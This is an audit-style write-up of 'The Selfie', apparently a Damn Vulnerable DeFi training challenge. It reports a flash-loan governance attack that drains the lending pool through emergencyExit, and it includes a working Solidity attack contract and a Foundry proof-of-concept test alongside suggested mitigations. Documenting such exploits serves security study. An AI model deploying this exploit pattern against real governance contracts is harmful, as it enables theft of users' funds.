The Selfie Audit Report

Prepared by Ahmad Faraz

Auditing Protocol: `The Selfie`

Date: August 06, 2025

Contents

1 Disclaimer

I, Ahmad Faraz, make every effort to understand the protocol and identify vulnerabilities within the given timeframe but hold no responsibility for missed issues. This audit is not an endorsement of the protocol's business logic or product and focuses solely on Solidity level vulnerabilities.

2 Risk Classification

2.1 Impact Table

Likelihood	**Critical**	**High**	**Medium**	**Low**
Critical	Critical	Critical	High	Medium
High	Critical	High	High/Medium	Medium
Medium	High	High/Medium	Medium	Medium/Low
Low	Medium	Medium	Medium/Low	Low

3 Audit Details

3.1 Scope

The audit covered the following files:

- `./src/`
- `DamnValuableVotes.sol`
- `ISimpleGovernance.sol`
- `SelfiePool.sol`
- `SimpleGovernance.sol`

4 Protocol Summary

`The Selfie`, a new lending pool has launched! It's offering flash loans of DVT tokens. It even includes a fancy governance mechanism to control it.

4.1 Roles

- **SelfiePool** Offers flash loans.
- **SimpleGovernance** Provides a governance mechanism to get voting power.

5 Executive Summary

The Selfie smart contracts protocol audited by Ahmad Faraz. The audit identified 1 issue in total, classified as follows.

Severity Level	Issue Count
Critical	1
Total	**1**

6 Findings

6.1 Critical Severity

6.1.1 [C-1] `SelfiePool` Flash Loan Leads to Governance Attack

- **Description:**The `SelfiePool` protocol allows users to take a flash loan up to the full balance of the pool. However, an attacker can exploit this flash loan to gain governance power and queue a proposal for the `emergencyExit` function call via a signature. After a two-day interval, the attacker executes the attack and drains all the protocol's funds.

```
function flashLoan(IERC3156FlashBorrower _receiver, address _token,
     uint256 _amount, bytes calldata _data) external nonReentrant
    returns (bool) {
        if (_token != address(token)) {
            revert UnsupportedCurrency();
        }
        token.transfer(address(_receiver), _amount);

        if (
            _receiver.onFlashLoan(msg.sender, _token, _amount, 0,
                _data) !=
            CALLBACK_SUCCESS
        ) {
            revert CallbackFailed();
        }

        if (!token.transferFrom(address(_receiver), address(this),
           _amount)) {
            revert RepayFailed();
        }

        return true;
}
```

- **Impact:** An attacker leverages governance power to queue, execute the `emergencyExit` and drain pool tokens to their own address.

  Attack Contract:

```
contract Attack is IERC3156FlashBorrower {
    SimpleGovernance simpleGovernance;
    DamnValuableVotes dvt;
    SelfiePool pool;

    uint256 public actionId;

    constructor(SimpleGovernance _simpleGovernance,
       DamnValuableVotes _token, SelfiePool _pool) {
        simpleGovernance = _simpleGovernance;
        dvt = _token;
        pool = _pool;
    }

    function onFlashLoan(address initiator, address token, uint256
        amount, uint256 fee, bytes calldata data
    ) external returns (bytes32) {
        // Get voting power
        dvt.delegate(address(this));

        actionId = simpleGovernance.queueAction(
            address(pool),
            0,
            abi.encodeWithSignature("emergencyExit(address)",
                address(this))
        );

        dvt.approve(address(pool), amount);
        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }

    function execute() external {
        simpleGovernance.executeAction(actionId);
    }

    fallback() external payable {}
}
```

- **Cause:** The governance mechanism does not restrict how voting power is acquired. By allowing voting rights based on token snapshots, a user can temporarily borrow a large amount of tokens via flash loan, gain voting power, and queue a governance action. Since voting power is not revoked immediately after the flash loan ends, the attacker retains influence long enough to pass malicious proposals.

- **Recommended Mitigation:**
  1. Prevent users from acquiring excessive governance power using flash loans.
  2. Consider using snapshot-based voting that excludes flash loan balances.
  3. Restrict governance to only allow proposals from long-term token holders.

- **Proof of Concept:**
  1. The attacker calls the function to take a flash loan.
  2. The attacker leverages the flash loan to gain voting power.
  3. After a two-day period, the attacker calls the execute function.
  4. This action triggers the `emergencyExit` function via governance execution, transferring all tokens to the attacker.
  5. The attacker drains all the protocol's tokens.

  Run the code in `SimpleGovernance.t.sol`:

```
function testAttack() public {

        vm.startPrank(address(target));
        pool.flashLoan(
            IERC3156FlashBorrower(target),
            address(dvtVotes),
            dvtVotes.balanceOf(address(pool)),
            ""
        );

        vm.warp(block.timestamp + 2 days);
        target.execute();
        vm.stopPrank();
}
```

The End